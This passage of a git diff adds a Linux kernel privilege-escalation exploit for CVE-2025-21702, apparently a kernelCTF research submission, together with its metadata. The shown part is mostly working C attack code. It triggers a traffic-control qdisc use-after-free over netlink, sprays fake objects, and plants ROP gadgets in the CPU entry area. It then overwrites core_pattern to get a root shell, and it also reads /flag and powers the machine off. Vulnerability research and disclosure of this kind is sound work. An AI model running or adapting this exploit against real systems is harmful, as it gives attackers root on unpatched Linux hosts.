TCA_OPTIONS); + + uint32_t m1 = 8; + uint32_t d = 1; + uint32_t m2 = 0; + + struct { + __u32 m1; + __u32 d; + __u32 m2; + } hfsc_curve = { + .m1 = m1, + .d = d, + .m2 = m2, + }; + + addattr_l(msg, 0x1000, TCA_HFSC_RSC, &hfsc_curve, sizeof(hfsc_curve)); + addattr_nest_end(msg, tail); + + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len}; + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK}; + struct msghdr msgh = { + .msg_name = &nladdr, + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + + sendmsg(fd, &msgh, 0); + + free(start); + + return 1; +} + +int del_class_drr(int fd, uint32_t handle) { + char *start = malloc(0x2000); + memset(start, 0, 0x2000); + struct nlmsghdr *msg = (struct nlmsghdr *)start; + + msg = msg + msg->nlmsg_len; + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); + msg->nlmsg_flags = NLM_F_REQUEST; + msg->nlmsg_type = RTM_DELTCLASS; + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); + + t->tcm_ifindex = 1; + t->tcm_family = AF_UNSPEC; + t->tcm_parent = TC_H_ROOT; + t->tcm_handle = handle; + + uint32_t prio = 1; + uint32_t protocol = 1; + + t->tcm_info = TC_H_MAKE(prio << 16, protocol); + + struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS); + + addattr_nest_end(msg, tail); + + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len}; + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK}; + struct msghdr msgh = { + .msg_name = &nladdr, + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + + sendmsg(fd, &msgh, 0); + + free(start); + return 1; +} + +int add_filter_basic(int fd, uint32_t parent, uint32_t classid) { + char *start = malloc(0x2000); + memset(start, 0, 0x2000); + struct nlmsghdr *msg = (struct nlmsghdr *)start; + char sel[0x100] = {0,}; + + msg = msg + msg->nlmsg_len; + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE; + msg->nlmsg_type = RTM_NEWTFILTER; + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); + + t->tcm_ifindex = 1; + t->tcm_family = AF_UNSPEC; + t->tcm_parent = parent; + t->tcm_handle = 0; + + uint32_t prio = 0; + uint32_t protocol = 0x300; + + t->tcm_info = TC_H_MAKE(prio << 16, protocol); + + addattr_l(msg, 0x1000, TCA_KIND, "basic", 6); + struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS); + addattr_l(msg, 0x1000, TCA_BASIC_CLASSID, &classid, 4); + addattr_nest_end(msg, tail); + + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len}; + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK}; + struct msghdr msgh = { + .msg_name = &nladdr, + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + + sendmsg(fd, &msgh, 0); + + free(start); + return 1; +} + +#define QDISC_RESET 0xe83860 +#define CORE_PATTERN 0x2bbace0 +#define COPY_FROM_USER 0x87db00 +#define MSLEEP 0x232f10 + +#define PUSH_RBX_POP_RSP_RBP_RET 0x10234d1 // push rbx ; and byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; jmp 0xffffffff82605280 +#define POP_RDI_POP_RSI_POP_RDX_POP_RET 0x0d5e29 // pop rdi ; pop rsi ; pop rdx ; pop rcx ; jmp 0xffffffff82605280 +#define POP_POP_POP_RET 0x0d5e2a // pop rdx ; pop rcx ; jmp 0xffffffff82605280 + +// CPU entry area pointers. We prepare some memory here that will be referenced +// by the ROP chains. +// We need: +// - the struct nft_expr_ops { .eval } member +#define CPU_ENTRY_AREA_BASE(cpu) (0xfffffe0000001000ull + (uint64_t)cpu * 0x3b000) +#define PAYLOAD_LOCATION(cpu) (CPU_ENTRY_AREA_BASE(cpu) + 0x1f58) + +#define PEEK_OFF 0x38 + +struct cpu_entry_area_payload { + uint64_t regs[16]; +}; + +static void sig_handler(int s) {} + +static __attribute__((noreturn)) void write_cpu_entry_area(void* payload) { + asm volatile ( + "mov %0, %%rsp\n" + "pop %%r15\n" + "pop %%r14\n" + "pop %%r13\n" + "pop %%r12\n" + "pop %%rbp\n" + "pop %%rbx\n" + "pop %%r11\n" + "pop %%r10\n" + "pop %%r9\n" + "pop %%r8\n" + "pop %%rax\n" + "pop %%rcx\n" + "pop %%rdx\n" + "pop %%rsi\n" + "pop %%rdi\n" + "divq (0x1234000)\n" + : : "r"(payload) + ); + __builtin_unreachable(); +} + +// Fill the CPU entry area exception stack of HELPER_CPU with a +// struct cpu_entry_area_payload +static void setup_cpu_entry_area() { + if (fork()) { + return; + } + + struct cpu_entry_area_payload payload = {}; + + payload.regs[1] = kbase + POP_POP_POP_RET; + payload.regs[2] = kbase + QDISC_RESET; // multiq->ops->peek + payload.regs[3] = PAYLOAD_LOCATION(1) - PEEK_OFF + 0x10 ; // fake ops + payload.regs[4] = kbase + PUSH_RBX_POP_RSP_RBP_RET; // multiq->ops->reset + payload.regs[5] = kbase + POP_RDI_POP_RSI_POP_RDX_POP_RET; + payload.regs[6] = kbase + CORE_PATTERN; + payload.regs[7] = MMAP_ADDR; + payload.regs[8] = strlen((char*)MMAP_ADDR); + payload.regs[9] = 0; + payload.regs[10] = kbase + COPY_FROM_USER; + payload.regs[11] = kbase + MSLEEP; + + set_affinity(1); + signal(SIGFPE, sig_handler); + signal(SIGTRAP, sig_handler); + signal(SIGSEGV, sig_handler); + setsid(); + + while(1){ + write_cpu_entry_area(&payload); + usleep(1000); + } +} + +void spray_sendmsg(char *buff, size_t size) { + struct msghdr msg = {0}; + struct sockaddr_in addr = {0}; + int sockfd = socket(AF_INET, SOCK_DGRAM, 0); + + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + addr.sin_family = AF_INET; + addr.sin_port = htons(6666); + + msg.msg_control = buff; + msg.msg_controllen = size; + msg.msg_name = (caddr_t)&addr; + msg.msg_namelen = sizeof(addr); + + sendmsg(sockfd, &msg, 0); +} + +#define USER_KEY_PAYLOAD_HEADER_LEN 0x18 +int keys[0x1000]; + +/* +* Allocate a user_key_payload structure. +*/ +int key_alloc(int i, char *buff, size_t size) +{ + char desc[256] = { 0 }; + key_serial_t key; + char *payload; + + sprintf(desc, "payload_%d", i); + + size -= USER_KEY_PAYLOAD_HEADER_LEN; + payload = buff ? buff : calloc(1, size); + + if (!buff) + *(uint64_t *)&payload[0] = i; // Tag the key + + keys[i] = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING); + + if (keys[i] < 0) { + perror("[x] key_alloc()"); + return -1; + } + + return 0; +} + +void loopback_send (uint64_t p) { + struct sockaddr iaddr = { AF_INET }; + int priority = p; + char data[0x4000] = {0,}; + + int inet_sock_fd = socket(PF_INET, SOCK_DGRAM, 0); + + if (inet_sock_fd == -1) + err_exit("[-] inet socket"); + + setsockopt(inet_sock_fd, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)); + + if (connect(inet_sock_fd, &iaddr, sizeof(iaddr)) == -1) + err_exit("[-] connect"); + + if (write(inet_sock_fd, data, 1) == -1) + err_exit("[-] inet write"); + + close(inet_sock_fd); +} + +int check_core() +{ + // Check if /proc/sys/kernel/core_pattern has been overwritten + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + read(core, buf, sizeof(buf)); + close(core); + return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0; +} + +void crash(char *cmd) +{ + int memfd = memfd_create("", 0); + sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff); + dup2(memfd, 666); + close(memfd); + while (check_core() == 0) + sleep(1); + puts("Root shell !!"); + /* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */ + *(size_t *)0 = 0; +} + +#ifndef SYS_pidfd_getfd +#define SYS_pidfd_getfd 438 +#endif + +// 156250 = PSCHED_NS2TICKS(10000000) +#define NETEM_10MS 156250 + +// The freed object is reclaimed immediately +// Spraying a small number of objects is enough +#define SPRAY_COUNT 3 +#define SPRAY_SIZE 0x2008 + +void exploit(){ + int sockfd = socket(PF_NETLINK, SOCK_RAW, 0); + + const unsigned int drr_qdisc = 0x200000; + const unsigned int drr_class = 0x200001; + + const unsigned int drr_qdisc_uaf = 0x100000; + const unsigned int drr_class_uaf = 0x100001; + const unsigned int drr_class_uaf_netem = 0x100002; + + const unsigned int hfsc_qdisc = 0x10000; + const unsigned int hfsc_class = 0x10001; + const unsigned int hfsc_class_netem = 0x10002; + + const unsigned int netem_qdisc_drr_uaf = 0x40000; + const unsigned int netem_qdisc_hfsc = 0x30000; + + const unsigned int pfifo_qdisc = 0x20000; + + add_qdisc_drr(sockfd, TC_H_ROOT, drr_qdisc); + add_filter_basic(sockfd, drr_qdisc, drr_class); + add_class_drr(sockfd, drr_qdisc, drr_class); + + // DRR and Multiq are the same size + add_qdisc_drr(sockfd, drr_class, drr_qdisc_uaf); + add_filter_basic(sockfd, drr_qdisc_uaf, drr_class_uaf); + add_class_drr(sockfd, drr_qdisc_uaf, drr_class_uaf); + add_class_drr(sockfd, drr_qdisc_uaf, drr_class_uaf_netem); + + // use HFSC to prevent list_del corruption when deleting a class + add_qdisc_hfsc(sockfd, drr_class_uaf, hfsc_qdisc); + add_class_hfsc(sockfd, hfsc_qdisc, hfsc_class); + add_class_hfsc(sockfd, hfsc_qdisc, hfsc_class_netem); + + add_qdisc_pfifo_head_drop(sockfd, hfsc_class, pfifo_qdisc); + + add_qdisc_netem(sockfd, drr_class_uaf_netem, netem_qdisc_drr_uaf, NETEM_10MS); + add_qdisc_netem(sockfd, hfsc_class_netem, netem_qdisc_hfsc, NETEM_10MS); + + loopback_send(hfsc_class); + + del_class_drr(sockfd, hfsc_class); + + loopback_send(hfsc_class_netem); + loopback_send(hfsc_class_netem); + + del_class_drr(sockfd, hfsc_class_netem); + + loopback_send(drr_class_uaf_netem); + + del_class_drr(sockfd, drr_class); + + // wait for qdisc_put() done + usleep(50*1000); + + add_qdisc_multiq(sockfd); + del_qdisc_multiq(sockfd); + + // wait for qdisc_put() done + usleep(50*1000); + + uint64_t fake_qdiscs[SPRAY_SIZE/8] = {0,}; + + fake_qdiscs[1] = PAYLOAD_LOCATION(1); + + for(int i = 0 ; i < SPRAY_COUNT; i++){ + spray_sendmsg((char*) fake_qdiscs, SPRAY_SIZE); + key_alloc(i, (char*)(fake_qdiscs+USER_KEY_PAYLOAD_HEADER_LEN), SPRAY_SIZE); + } + + loopback_send(drr_class); +} + +int main(int argc, char **argv) { + set_affinity(0); + + bypass_kaslr(0); + + if (argc > 1) + { + int pid = strtoull(argv[1], 0, 10); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + /* Get flag and poweroff immediately to boost next round try in PR verification workflow*/ + system("cat /flag;echo o>/proc/sysrq-trigger"); + } + + if (fork() == 0) // this process is used to trigger core_pattern exploit + { + sleep(1); + set_affinity(0); + setsid(); + crash(""); + } + + char *core = (void *)mmap((void *)MMAP_ADDR, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANON, -1, 0); + strcpy(core, "|/proc/%P/fd/666 %P"); // put payload string into known address which will used by ebpf shellcode + + setup_cpu_entry_area(); + +retry: + new_ns(); + + ip_link_lo_up(); + + // ip link add outer0 numrxqueues 16 numtxqueues 1025 type veth peer + add_veth_link("outer0", "inner0", 16, 1025); + + exploit(); + + goto retry; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-21702_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2025-21702_mitigation/metadata.json new file mode 100644 index 000000000..38727e7de --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-21702_mitigation/metadata.json @@ -0,0 +1,33 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp258" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=647cef20e649c576dff271e018d5d15d998b629d", + "cve": "CVE-2025-21702", + "affected_versions": [ + "2.6.34 - 6.14-rc1" + ], + "requirements": { + "attack_surface": [ + "userns" + ], + "capabilities": [ + "CAP_NET_ADMIN, CAP_NET_RAW" + ], + "kernel_config": [ + "CONFIG_NET_SCHED" + ] + } + }, + "exploits": { + "mitigation-v3b-6.1.55": { + "uses": [ + "userns" + ], + "requires_separate_kaslr_leak": false, + "stability_notes": "7 times success per 10 times run" + } + } +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-21702_mitigation/original.tar.gz b/pocs/linux/kernelctf/CVE-2025-21702_mitigation/original.tar.gz new file mode 100644 index 000000000..13156db92 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-21702_mitigation/original.tar.gz differ